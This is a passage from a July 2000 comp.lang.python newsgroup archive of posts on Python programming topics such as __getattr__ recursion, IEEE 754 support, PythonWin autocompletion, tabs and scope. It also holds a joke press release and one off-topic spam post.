builtins -- but all functions and methods written in Python should
work, including callable objects using a __call__ method.


Neel


From olivierS.dagenaisP at canadaA.comM  Wed Jul  5 08:33:02 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 05 Jul 2000 12:33:02 GMT
Subject: GUI framework with TreeView
References: <3967f81e.23966859@nntp.interaccess.com>
Message-ID: <2WF85.39122$W35.856292@news20.bellglobal.com>

I was looking for EXACTLY that and I found it, along with a whole lot of
other cool stuff:
http://www.wxwindows.org
and if you're using Python:
http://www.wxpython.org

There's also a MAC port coming along.

It attempts to provide many nice features of the OS GUIs out there, not just
a "lowest common denominator".  It does so by using native OS
components/APIs wherever possible, so the Treeview isn't some
re-implementation, it looks and feels just like MS's treeview.

Oh, and it's free:  http://wxwindows.org/newlicen.htm

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Thaddeus L Olczyk" <olczyk at interaccess.com> wrote in message
news:3967f81e.23966859 at nntp.interaccess.com...
> I need a "free" gui framework that runs on both Windows and UNIX
> ( so that lets out QT ) and gives me a component similr to Microsofts
> TreeView. Does anyone know of such a thing?




From aahz at netcom.com  Wed Jul 12 13:53:44 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 12 Jul 2000 17:53:44 GMT
Subject: Why are some infinite recursion stack overflows hard to deal  with?
References: <Pine.GSO.4.10.10007121752190.15424-100000@sundial> <etdlmz7tmxs.fsf@w20-575-115.mit.edu> <20000712192312.O7340@xs4all.nl> <etdk8ertfaz.fsf@w20-575-115.mit.edu>
Message-ID: <8kibb8$rhc$1@slb6.atl.mindspring.net>

In article <etdk8ertfaz.fsf at w20-575-115.mit.edu>,
Alex  <cut_me_out at hotmail.com> wrote:
>
>I get the segfault with vanilla Python 1.5.2 on Redhat 6.2, and also
>with bleeding edge (downloaded this morning) CVS Python:

Interesting.  I get the segfault with 1.5.2/6.1, but not 1.5.2/5.2.
Note that 1.5.2/5.2 was installed over 1.5.1 in a way that probably
still uses some of the 1.5.1 libraries.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From wtanksle at dolphin.openprojects.net  Mon Jul 24 20:51:50 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Tue, 25 Jul 2000 00:51:50 GMT
Subject: IEEE 754
References: <LNBBLJKPBEHFEDALKOLCAEINGLAA.tim_one@email.msn.com> <8lifaa$1bb$1@agate.berkeley.edu> <jwbnews-2FB2DC.15315324072000@news.olympus.net> <8liiba$1mh$1@agate.berkeley.edu>
Message-ID: <slrn8npp56.n29.wtanksle@dolphin.openprojects.net>

On 24 Jul 2000 23:09:30 GMT, Edward Jason Riedy wrote:
>And John W. Baxter writes:

> - You mean I may someday be able to put aside my answers to the "why 
> - doesn't 2/10 print as 0.2 as we all know it should?" sorts of questions?

I'm not sure whether you mean that 2/10.0 isn't exactly 0.2, or whether
2/10 is 0.

>Way off-topic:  Besides, not all numbers are natural for base-10.  
>One example is pi.  It strongly appears that the only natural base 
>for pi is 16 (pi may be base-16 normal and not base-10 normal).  Not 
>proven yet, but looking likely.  See 
>http://www.nersc.gov/~dhbailey/dhbpapers/bcrandom.ps for some neat
>pi results.

Could you clarify that?  pi is not merely a repeating rational, like 1/3
(in decimal) and 1/5 (in binary); it's trancendental.

>Back on topic:  Python's answer is even more painful to explain:
>> bash-2.03$ python -c 'print 2/10'
>> 0

I suspect that's what he was talking about.  I couldn't tell either.

>Jason


-- 
-William "Billy" Tanksley


From bjorn at roguewave.com  Fri Jul 28 15:19:09 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 28 Jul 2000 13:19:09 -0600
Subject: finding/counting files
References: <8lskfi+r5ek@eGroups.com>
Message-ID: <3981DCAD.AE17BA94@roguewave.com>

jesse at multimediacollective.com wrote:
> 
>    What would the proper command be for finding a file within a
> folder?  I want my program to check to see if there is a folder
> called 'test.txt' in the folder, and if there is, count the number of
> files in that folder.  What commands would I use for both these
> problems?

You want the os module. The friendly manual will tell you all about
it...

-- bjorn



From sjaubert at capgemini.fr  Wed Jul 19 12:45:14 2000
From: sjaubert at capgemini.fr (=?iso-8859-1?Q?St=E9phane?= Jaubert)
Date: Wed, 19 Jul 2000 18:45:14 +0200
Subject: are there any tutorials that someone completly new to programming 
 can understand?
References: <8l4klm$2kl$1@slb6.atl.mindspring.net>
Message-ID: <3975DB1A.9B9099CC@capgemini.fr>

Hello,

You can try that stuff inspired from 
"How to Think Like a Computer Scientist"

http://yhslug.tux.org/obp/thinkCS/thinkCSpy/index.htm

http://yhslug.tux.org/obp/thinkCS/

Bye

+++++++++++++++++++++++++++++
+ Stephane JAUBERT          +
+ Unit Quality Manager      +
+ CAP GEMINI  ERNST & YOUNG +
+++++++++++++++++++++++++++++

Dan^ wrote:
> 
> well..im 17 and thought that i should start with a programming language, and
> after checking with some of my friends, they pointed me to python
> 
> but, all the tutorials seem to be for those that have spent years in
> programming (mabey im just looking in the wrong places) but id really like
> to try my hand at this
> 
> anywho, thx in advance
> -Dan


From gmcm at hypernet.com  Thu Jul 20 19:45:40 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 20 Jul 2000 23:45:40 GMT
Subject: Intercept methods/raise exception
References: <3978f242.25036009@news.online.no> <3979f896.26656309@news.online.no> <slrn8ndvtb.h7t.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <8F77C5924gmcmhypernetcom@199.171.54.155>

Remco Gerlich wrote:

>Thomas Weholt wrote in comp.lang.python:
>> I tried using __getattr__, like
>> 
>> def __getattr__(self, attrname):
>>    print 'Trace:', attrname
>>    return getattr(self, attrname)
>> 
>> But it crashed terribly. The object in question is accessed lots of
>> times. When I ran it, it printed :
>> Trace: __coerce__
>> Some hundred, thousands times, then collapsed with a bang.
>
>This is simple infinite recursion. 

You got that right!

> The getattr() call calls __getattr__,
>etc.
>
>Try returning self.__dict__[attrname].

And that wrong! If the object exists, __getattr__ never gets called. You 
can trap all assigments to attributes through __setattr__, but only by 
using a proxy can you trap all accesses.

- Gordon


From moshez at math.huji.ac.il  Sat Jul 29 02:48:14 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 29 Jul 2000 09:48:14 +0300 (IDT)
Subject: Newbie DATA STRUCTURES Question.
In-Reply-To: <398248BC.32DE3CC@nycap.rr.com>
Message-ID: <Pine.GSO.4.10.10007290944520.18798-100000@sundial>

On Sat, 29 Jul 2000, gbp wrote:

> Since I learned data structures in languages with pointers (C, pascal)
> I'm stuck.  How does one go about constructing a list of records in
> python?  My python is still pretty weak.  I understand how the lists
> work (a lot like Perl).  I understand that you can use objects as
> records.  I don't really get the full OOP though.  I guess that you
> can't make record anonymous in python?  Is that right?  Can you have
> pointers?  

"Everything is a pointer".

Here's a list of records:

[(1, "moshe"), (2, "gbp")

And here's code to turn this file

'''
1:moshe
2:gbp
'''

Into such a list:

def make_lor(file):
	ret = [] # an empty list
	lines = file.readlines() # read all lines from the file
	for line in lines: 
		number, name = string.split(line, ':')
		number = int(number) #  turn "number" into an integer
		record = (number, name) # a tuple
		ret.append(record) # append this
	return ret # return the created list

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 15:57:41 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 16 Jul 2000 19:57:41 GMT
Subject: Pythonwin 1.5.2
References: <8kaij5$c9s$1@supernews.com> <Kr5a5.6646$_O.136642@news2-win.server.ntlworld.com> <8kaolt$flc$1@supernews.com> <838a5.12069$Tb7.82109@news-server.bigpond.net.au>
Message-ID: <Vsoc5.89046$W35.2033332@news20.bellglobal.com>

Errr... In VB6, (not sure about VC6 on this one) I use the following keys to
use the currently highlighted word:  space, enter, Ctrl+Space and
Ctrl+Enter.  The "Tab" key never occured to me!  It's not documented in the
PythonWin documentation, either.

Another PythonWin documentation quirk:  Ctrl+T is listed twice as a keyboard
shortcut.  Once as "Transpose (swap) the current line with the line above"
and later as "Toggle the use of tabs for the current file (after
confirmation)"

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Neil Hodgson" <neilh at scintilla.org> wrote in message
news:838a5.12069$Tb7.82109 at news-server.bigpond.net.au...
> > Oh for standards in keyboard shortcuts. What's wrong with ctrl-enter
like
> > Visual Studio?
>
>    Visual Studio uses Tab. I had no idea it also allowed Ctrl+Enter.
>
>    Neil
>
>
>




From grey at despair.rpglink.com  Fri Jul 28 17:03:01 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 21:03:01 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <75k2osst2eh5nbel73ju033l8s97bs2v0s@4ax.com> <slrn8o388q.3ok.grey@teleute.rpglink.com> <u66pq5b3m.fsf@ctwd0143.fitlinxx.com>
Message-ID: <slrn8o3t43.49c.grey@teleute.rpglink.com>

On 28 Jul 2000 15:05:49 -0400, David Bolen <db3l at fitlinxx.com> wrote:
>I'm curious, since you've raised this point a few times now.  If this
>is true, then where is the pain, during this input check, of simply
>making whatever conversion you need into an object type that you want
>to use within the program.

    I believe it is when the checks are made through other mechanisms as well
as when the flow of data is known from start to finish that such changes, and
indeed in some cases the checks, should not be needed.


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From ben at co.and.co  Thu Jul 20 12:57:25 2000
From: ben at co.and.co (ben at co.and.co)
Date: Thu, 20 Jul 2000 16:57:25 GMT
Subject: Python-Perl merger
Message-ID: <VbGd5.79204$Ji7.1380444@afrodite.telenet-ops.be>

Washington, 2000-07-20. FOR IMMEDIATE RELEASE.

Python's leading development engineer and testbot, Guido van Rossum,
announced the merger between Python and Perl after leaving the
Pythonlabs, located in New Holland, Texas. 

"I really got to go home now, Larry's waiting for dinner.
Anyway, yes, we decided to merge. After all, we've been married 1,5
month now, longer than I thought we would. After the recent addition
of diacritical operators to python [1], and the Larry's decision to put
significant whitespace into Perl 6 [2], we thought it was time for a
merger. Like, you see, now we're married, it's time for our kids to get
along. They're kind of twins right now, and they keep coming closer
together. We don't want to hinder their growth, so we decided for a
merger, for the best of all four of us."

Larry Wall, former industrial preacher and head of the Perl monks, told
our reporter: 

"'See, I'm kind op the romantic type, and Guido is more a strong,
rational person, but in the end we really match together, and so do our
kids. You know, at a certain point in live, you learn there's a thin
line between love and hate, but if you succeed to match reason and
romance, life's full of roses. Hey, Guido, that's a good name: Prose"

"Nah, I'd rather want something really funny, like Bean or something."

"Oh no, this doesn't match P.*, and Pean is kind of stupid."

"Stupid, stupid. Who put $_ in his language?"

"So, that's the tune. Now, let me tell you about
map(filter(reduce(lambda))). Looks like hell to parse to me."

...

[ Our reporter escaped from the scene alive. Latest rumours call for the
  name "A flat", although we can't confirm this yet. ]

[1] http://x51.deja.com/=dnc/[ST_rn=ps]/threadmsg_ct.xp?AN=648419950.1&mhitnum=4&CONTEXT=964109742.361889964
[2]http://slashdot.org/comments.pl?sid=00/07/19/203221&cid=37

[ if you can't understand what's this all about, you probably speak
  Dutch, just like me :-) ]
-- 
ben . de . rydt at pandora . be ------------------ your comments
http://users.pandora.be/bdr/ ------- inl. IPv6, Linux en Pandora



From dalke at acm.org  Sat Jul  1 02:37:01 2000
From: dalke at acm.org (Andrew Dalke)
Date: Sat, 1 Jul 2000 00:37:01 -0600
Subject: ?Does Python have sorting via "Dictionary Order"?
References: <395A92D0.65A205B1@email.sps.mot.com> <nib75.251583$MB.4396963@news6.giganews.com>
Message-ID: <8jk3d0$t38$1@slb0.atl.mindspring.net>

Christopher Browne wrote in message ...
>Centuries ago, Nostradamus foresaw a time when Norman Shelley would say:
>>Does Python have sorting via "Dictionary Order"?  This would be a very
>>handy addition as an option to list's sort() function.
>
>Feel free to avail yourself of the documentation...
>
>"The keys() method of a dictionary object returns a list of all the
>keys used in the dictionary, in random order (if you want it sorted,
>just apply the sort() method to the list of keys)."


I do believe you misunderstood the original poster's question.  He
gave a description of "Dictionary Order" based on how words in a
paper-bound dictionary (as in the Oxford English Dictionary) might
be ordered.  He was not refering to their order as used in a Python
dictionary data structure (mapping unique keys to values).

                    Andrew
                    dalke at acm.org







From dale at out-think.NOSPAM.co.uk  Thu Jul 20 18:45:33 2000
From: dale at out-think.NOSPAM.co.uk (Dale Strickland-Clark)
Date: Thu, 20 Jul 2000 23:45:33 +0100
Subject: Scope questions
Message-ID: <8l7vgk$73t$1@supernews.com>

Could someone help me out with some scope and instantiation questions?

In moduleA we have:

varB = 1
class classC:
    varD = 1
    def __init__(self):
        self.varE = 1

As I understand it, varB appears when the module is imported and stays
around until the end of the program.

When does varD appear?
How long does it exist?

In the main code I use the above module and have:

import moduleA
varJ = moduleA.classC
varK = varJ.varE
varJ = None

Again, as I understand it, varK contains a reference to varE in class
instance varJ. What happens to varK when the instance reference in varJ goes
away? Does the instance get deleted or is there still a reference to it?

Thanks for any help.

Dale Strickland-Clark





From stadt at cs.utwente.nl  Fri Jul 14 03:53:47 2000
From: stadt at cs.utwente.nl (Richard van de Stadt)
Date: Fri, 14 Jul 2000 09:53:47 +0200
Subject: Files question
References: <396DB8C4.EC239CD2@sicon.net> <396DD651.4BD08E97@darwin.in-berlin.de>
Message-ID: <396EC70B.FAACD6A1@cs.utwente.nl>

"Dinu C. Gherman" wrote:
> 
> sergio wrote:
> >
> >     I'm working in winNT Server 4.0.
> >     How can i know if a file is open by other apllication, in order to
> > wait till the file is free 
> Have you tried just reading a few bytes and catch the
> IOError if there is any (supposed you know the file
> does exist)? Just an (untested) idea...

OLWUC - open-lock-write-unlock-close

import posixfile
usersfile = posixfile.open (someFilename, 'a')
usersfile.lock ('w|')
usersfile.write ('something'))
usersfile.lock ('u')
usersfile.close()

Note: the 'other application' must do the same.
I assume, but am not sure, that this works for reading a file as well.

Richard.


From dsfoue at hotmail.com  Thu Jul  6 12:19:03 2000
From: dsfoue at hotmail.com (dsfoue at hotmail.com)
Date: Thu, 6 Jul 2000 18:19:03 +0200 
Subject: I Didnt Know Id Been Date-Raped til the Check She Gave Me Bounced!  509
Message-ID: <6E528A6CBCFED311A7C1009027B721F930A4F4@hermes.demogr.mpg.de>

http://www.mazepath.com/underground/hankins

"What a sad commentary on Mensa and Mensans that ... a crude, insensitive, boorish, untalented brute like Bailey Hankins can get his ... garbage printed in so many of our publications. What on earth are our editors thinking?" 

Norma MCGovern
Phoenix, Arizona 


bocbmggfifgtkxq



From ejr at lotus.CS.Berkeley.EDU  Mon Jul 24 18:17:46 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 24 Jul 2000 22:17:46 GMT
Subject: IEEE 754
References: <LNBBLJKPBEHFEDALKOLCAEINGLAA.tim_one@email.msn.com>
Message-ID: <8lifaa$1bb$1@agate.berkeley.edu>

And Tim Peters writes:
 - 
 - More accurately, Python provides no ways at all to test for Inf or NaN.  If
 - it provided unreasonable ways, half the battle would be over <wink>.

After perusing some more of Python's code, I see.  sigh.

 - For starters, I know of no implementation of C99, so it's a bit premature to
 - switch to its features.  

Many of the library routines are already in GNU libc.  Some are also
available in vendor libcs, although with different include files
(ieeefp.h on Solaris).  The optimization pragmas aren't, but it may
be feasible to compile a few objects without optimization flags.  

And the Octave response to the xisnan problem I noted is that all
the platforms that sanely support NaN, Inf, etc. provide isnan and
family somewhere.  They just look for all the possible header files
and libraries.  If they're not found, they assume strange things
will happen with them anyways (like trapping on Alphas with old gccs).

It may not be as difficult as it seems

 - This means that just to start, we need to define an internal 754 C API, and
 - implement it via mounds of platform-#ifdef'ed trickery.

This type of thing could be generally useful.  Perhaps an 
implementation of the C99 spec with a suitable naming scheme 
would be warranted.  (Looks like the C99 spec is available 
from ANSI for $18.  Good.  More to add to the to-be-read pile.)

 - The practical problem with this is that it requires people expert in 
 - both their platforms (HW and compiler and libc) and 754 subtleties, 
 - and they're mighty rare.

Moreso, it's possible to change many assumptions at runtime by
fiddling control words.  When Python is used as an interpreter
embedded in a larger app, this could be an important issue.  

 - I can do it for the intersection of x86 chips and Microsoft's compiler, 
 - but that's it.

Oof.  That's probably the worst intersection, too.  Stupid MS
compiler ``reduce the complexity of your expression'' bug...

I think I'm finally getting to that stage with current versions of
gcc and GNU libc, but there are so many older variations...  Plus,
I just noticed that the default for complex division in gcc frontends
is the overflow-unsafe method.  sigh.  More work to add to the to-be-
done pile.  gcc's a tad more difficult to modify than Python.

And Solaris + vendor libs doesn't seem too bad (with Sun's devel
package and sunmath.h).  T3E + Unicos likewise (has fenv.h, but also 
the flush-to-0 problem).  Need to check the SP + AIX, but I'd be 
shocked if it were too horrible, and I know who to ask if more's 
needed.  SGI + IRIX should be fine, but I don't have ready access.  
Don't know about Tru64, but the next gen of Alpha will have proper, 
fast gradual underflow support, so there's hope.

It seems the most difficult platform is the x86, and that's mostly
because there are just so many versions of OSes and libraries 
available.  And then there are non-IEEE platforms like IBM mainframes
(with Linux now, so `important') and VAXen.

 - The only platform-clever floating code in Python today is in
 - fpectlmodule.c, [...]

Evil.  The module's name made me hopeful.  Then I read it.  Evil.

 - The political battle is that most number-crunchers in practice still 
 - don't understand why 754 is A Good Thing, and in my experience fight 
 - it tooth & nail

Some are being convinced.  Some (like the g77 maintainer) aren't.
I honestly cannot comprehend fighting against the only algebraically
complete FP arithmetic available...  I know it happens; I've been in
some of the arguments.  It's mind-blowing.

 - [...] but, alas, they - overwhelmingly don't ask for a better 754 
 - story).

Most of them don't know it exists.  I pretty much agree with Dr. Kahan
that it should be much more of a tool-builder issue than a tool-user 
one.  Like I said, I'd prefer if 99.999% of the users never had to
know the subtleties of the FP arithmetic in the background.  That 
means the tool builders (compilers, interpreters, libraries) have to
emphasize correctness for largest reasonable number of cases over
speed for the typical cases.  Users shouldn't have to ask for it.

And quite a few users who _do_ know it exists have given up on wide-
spread support.  But they're the ones who are content with evil, nasty
code that bends over backwards to support every possible error in every
possible place.  Trying to read or, worse, modify, the code is horrible.
That's about as un-Python as I can imagine.

 - In short, just business as usual in the wacky world of floating point
 - <wink>.

Yup.  Seriously, though, it seems that most people in favor of making
Python an important numerical platform are also pretty much in favor
of IEEE 754 support.  Seems we have an opportunity to get things right.  
;)

Next interesting discussion:  How to add radix-10, IEEE 854 support...

Jason


From thomas at xs4all.net  Sun Jul  9 05:56:43 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 9 Jul 2000 11:56:43 +0200
Subject: Making tabs illegal
In-Reply-To: <20000708232940.A25033@novara.avenue>; from jcm@bigskytel.com on Sat, Jul 08, 2000 at 11:29:40PM -0600
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <Pine.BOS.4.10.10007081420100.1550-100000@be> <vnd1z14w5re.fsf@camelot-new.ccs.neu.edu> <Pine.BOS.4.10.10007091300200.1313-100000@be> <20000708232940.A25033@novara.avenue>
Message-ID: <20000709115643.V26534@xs4all.nl>

On Sat, Jul 08, 2000 at 11:29:40PM -0600, David Porter wrote:

> > > You should get a decent editor.

> > You have missed my point entirely - I am arguing against the banning of
> > tabs - my editor does tabs, syntax highlighting and autoindenting.

> I believe that he is saying that a decent editor can be configured to use
> four spaces when you hit tab, so that is no reason to not ban tabs. Emacs
> with Python Mode converts the pressing of a tab to four spaces and it
> auto-indents with four spaces. 

There are plenty of editors (like those that aren't an OS an sich ;) that
don't do expansion of tabs into spaces. Like Windows Notepad. Banning tabs
altogether is quite the radical move, given that tabs aren't the problem,
users are ;) Tabs work fine, spaces work fine, but mixing tabs and spaces
are what can cause problems. (Well, setting tabstops at something other than
every 8th character is the real problem, of course!)

Python has the -tt option, which prevents usage of tabs and spaces, mixed,
as indentation. It might become default in the future, or it might not.
Until then, always call python -tt, and either use spaces or tabs. Those
AI-editors of yours can auto-determine the indentation-style of the script
you are editing, even if it's someone else's, and make you insert the right
indentation without you knowing it.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From moshez at math.huji.ac.il  Mon Jul 31 16:16:43 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 31 Jul 2000 23:16:43 +0300 (IDT)
Subject: [5th Draft] Open Letter to CNRI: Request for clarification
In-Reply-To: <3985D797.E5D2FC08@nowonder.de>
Message-ID: <Pine.GSO.4.10.10007312315550.3741-100000@sundial>

On Mon, 31 Jul 2000, Peter Schneider-Kamp wrote:

> added some names
> 
> <flame-shield>Should I add email addresses?</flame-shield>

I think this should be on an individual base, but I definitely would
like mine added.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 19:58:17 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 16 Jul 2000 23:58:17 GMT
Subject: "Intellisense" drop-down...
References: <pbpc5.89249$W35.2041585@news20.bellglobal.com> <osrc5.3577$4p3.27127@news-server.bigpond.net.au>
Message-ID: <t_rc5.89902$W35.2063221@news20.bellglobal.com>

I found it!  In coloreditor.py, I found the two methods I had been wanting
to use, namely SciAutoCActive and SCIAutoCComplete!

Here it is, folks, the ability to use another key than TAB to select a word
in the AutoComplete list:


def AutoCompleteOrIgnore ( editor_window, event ):
    editor = editor_window.edit

    if editor.SCIAutoCActive ( ):
        editor.SCIAutoCComplete ( )

    return 1



Just add it to your .cfg file and then, in the [Keys] section, add/change
the following:

Ctrl+Space        = <<expand-word>>
Ctrl+Enter        = AutoCompleteOrIgnore
Space             = AutoCompleteOrIgnore

and PythonWin should now [sort of] behave like VB!  If you don't like "it"
adding a space after an "auto-completed" word, change the function to:


def AutoCompleteOrIgnore ( editor_window, event ):
    editor = editor_window.edit

    if editor.SCIAutoCActive ( ):
        editor.SCIAutoCComplete ( )
        return 0

    return 1


Wohoo!!!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Neil Hodgson" <neilh at scintilla.org> wrote in message
news:osrc5.3577$4p3.27127 at news-server.bigpond.net.au...
> > I have found no way of defining new key combinations to select the
> currently
> > highlighted word in the "Intellisense" drop-down list.  For example:
> > ...
> > I hightlight "Apply" and the only key I can use to make "Apply" appear
and
> > the list to disappear is "Tab".  I want other keys to trigger this.  The
> > default.cfg file only lists this:
>
>    When the previous post appeared about Ctrl+Enter in auto-completion, I
> had a look at extending the keys that would choose an item and tried
> changing this in Scintilla. This worked in other applications but not in
> PythonWin as PythonWin intercepts keys before sending them on to
Scintilla.
> Then I went looking through PythonWin but the code was confusing so I gave
> up.
>
>     If you are interested in working on this, the Enter key calls
> newline_and_indent_event in pywin\idle\AutoIndent.py. So you could
intercept
> it here or else bind Enter to your own event that calls the current
> newline_and_indent_event only when no autocompletion is shown.
>
>    Neil
>
>
>




From thomas at xs4all.net.bbs  Mon Jul 17 06:00:02 2000
From: thomas at xs4all.net.bbs (thomas at xs4all.net.bbs)
Date: 17 Jul 2000 10:00:02 GMT
Subject: Wishlist sumbission form?
Message-ID: <3bR862$j1_@openbazaar.net>

On Sun, Jul 16, 2000 at 10:35:23PM -0500, Paul Prescod wrote:
> Matthew Cline wrote:

> > Is there any way of submitting feature requests for Python,
> > other than by filing a bug report?

> I don't think so. If it is a very targeted request, you could try the
> but report route.

Actually, the buglist (Jitterbug, on www.python.org) as a 'Requests'
section for feature requests. It gets looked at every now and then, too.

> If it is large and arguable, you should probably post it here and get some
> people to support it. If its good, someone will implement it. In open
> source software, only the features that developers are interested in get
> implemented so a wish list might well get ignored anyhow. It's not that
> nobody cares what you think it's that there's an infinite list of wishes
> so people tend to attack them in the order in order of personal interest
> or widespread demand.

Actually, I have no problem with implementing features which I think are
good features, even though I would never use them. Or features that *might*
be good. As long as I can test it (ie, they run on Linux or BSDI without
dependencies on weird hardware or non-free software) I don't have much
trouble with implementing it.

But that's just me ;) Of course, if you know a little C, the Python source
is incredibly easy to understand and extend. And a great tool for learning
C, as well.

--
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!


From Wolfgang.Strobl at gmd.de  Mon Jul 17 08:38:07 2000
From: Wolfgang.Strobl at gmd.de (Wolfgang Strobl)
Date: Mon, 17 Jul 2000 14:38:07 +0200
Subject: Pythonwin 132: Letters with Umlaut cause problems
References: <8kuhnd$bh3$1@nnrp1.deja.com> <ZBAc5.4042$4p3.30213@news-server.bigpond.net.au>
Message-ID: <ibv5ns4slhpkkprmdo9t681j6njh0o4g1a@4ax.com>

"Neil Hodgson" <neilh at scintilla.org> wrote:

>> working with the new Build 132 of Pythonwin we have a minor problem.
>> German Umlauts are not handled properly in the editor windows.
>> They are shown as boxes, some of them seem to be dead keys.
>>
>> The problem did not exist in previous builds.
>> Does anyone have a hint ?
>
>   132 defaults to using Unicode for editing Python source code and the
>interactive window. To stop this, open Pythonwin\pywin\scintilla\view.py,
>find the OnInitialUpdate method and comment out the two lines under "#
>Enable Unicode if we can". Save the file, shut down Pythonwin and restart it
>and see if this fixes the problem.

It fixes the problem for umlauts, but pythonwin.exe still dies with a
access violation (0x05), at adress 0x1e14cd9e, when the ^-key (top left,
just below the esc key) is hit, on the German keyboard layout. 


-- 
Bicycle helmets are the Bach flower remedies of traffic


From stephen at cerebralmaelstrom.com  Sun Jul 16 00:37:40 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Sun, 16 Jul 2000 04:37:40 GMT
Subject: Case insensitive searching w/ mxTextTools?
Message-ID: <o_ac5.7580$lS2.100093@typhoon.we.rr.com>

    I'm working on a fairly complicated (for me, at least! :)) tag table to
parse rfc822 messages,
since im actually sorta working on a replacement for 'rfc822' and the
various MIME modules
within my application....

    Anyways :)

    Is there a better way to perform a case-insensitive substring search
then by passing a
translation string (with all Upper-Cases mapped down into lower cses, or
vice versa) to
a BMS search object?

    Thanks :)

--Stephen




From Jorrit.Tyberghein at uz.kuleuven.ac.be  Wed Jul 19 08:11:50 2000
From: Jorrit.Tyberghein at uz.kuleuven.ac.be (Jorrit Tyberghein)
Date: Wed, 19 Jul 2000 14:11:50 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <w5ed5.987$Yy3.47264@newsread2.prod.itd.earthlink.net>
Message-ID: <964008712.215436@marvin>

Mallor wrote in message ...
>
>"Jorrit Tyberghein" <Jorrit.Tyberghein at uz.kuleuven.ac.be> wrote in message
>>
>> In the Open Source Crystal Space 3D engine we are working on a framework for
>python
>> scripting. It is already working reasonably well but you cannot yet do
>everything
>> that you'd want to do from a python script.
>
>Why did you choose Python as opposed to any other scripting language?  In
>particular, what are your experiences so far with efficiency issues?  This seems
>to be a knock against Python from the articles that I read, but of course the
>efficiency of a language implementation can be a moving target, if the
>developers have their priorities set in that direction.

Well, CS itself doesn't force the use of Python. i.e. there is nothing in CS that
says 'Only Use Python for Scripting'. The system to allow scripting is general
and allows us to attach any scripting language. But we are concentrating on Python
first because it is a nice language mostly and there is a lot of support for
Python. I personally did not use Python much (the Python support is done by
other members in my team) so I can't really comment on the efficiency issues.

Java will be another important scripting language for the CS project.


Greetings,

--
---------------------------------------------------------------------------
Jorrit Tyberghein (Jorrit.Tyberghein at uz.kuleuven.ac.be)
Project Manager of Crystal Space, a free and portable 3D 6DOF portal engine.
More info at: http://crystal.linuxgames.com
---------------------------------------------------------------------------





From m.faassen at vet.uu.nl  Mon Jul 31 07:39:59 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 11:39:59 GMT
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
References: <Pine.BSF.4.10.10007241234410.10720-100000@chi.pair.com> <397CA165.582D8786@prescod.net>
Message-ID: <8m3oif$due$2@newshost.accu.uu.nl>

Paul Prescod <paul at prescod.net> wrote:
[snip]
> Right, I don't think that that behavior is so onerous now, nor in the
> proposal. In return for the performance I think it is a small price to
> pay. One serious constraint is that I cannot slow down Python! Adding an
> attribute handler to a class should have as little performance impact as
> is humanly possible.

Right; I went through the whole reasoning and came up with
almost an identical solution -- it seems to be the 'natural' conclusion
given this performance constraint. Except that I don't see the reason not to
split up the get/set/del handlers still even with his solution. Paul,
any feedback on that?

Regards,

Martijn 
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From robin at jessikat.fsnet.co.uk  Sat Jul 22 03:25:06 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 22 Jul 2000 08:25:06 +0100
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com>
 <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com>
Message-ID: <EJhahiASxUe5EwNP@jessikat.fsnet.co.uk>

In article <397933DA.46B072BF at roguewave.com>, Bjorn Pettersen
<bjorn at roguewave.com> writes
....
>> > Perhaps you should add a few words about why you chose __attr_XXX__
>> > instead of __set/get/del_XXX__?
>> 
>> That was actually the first proposal. But inheritance could get
>> confusing if you inherited set without get or get without set etc.
>
>Hmmm... I'm not quite sure I understand... With __set/get/del_XXX__
>defined in a superclass you would automatically inherit all of them and
>could choose to only override one of them, e.g. if you wanted to perform
>further checks on a set but the get was the same.  With __attr_XXX__ you
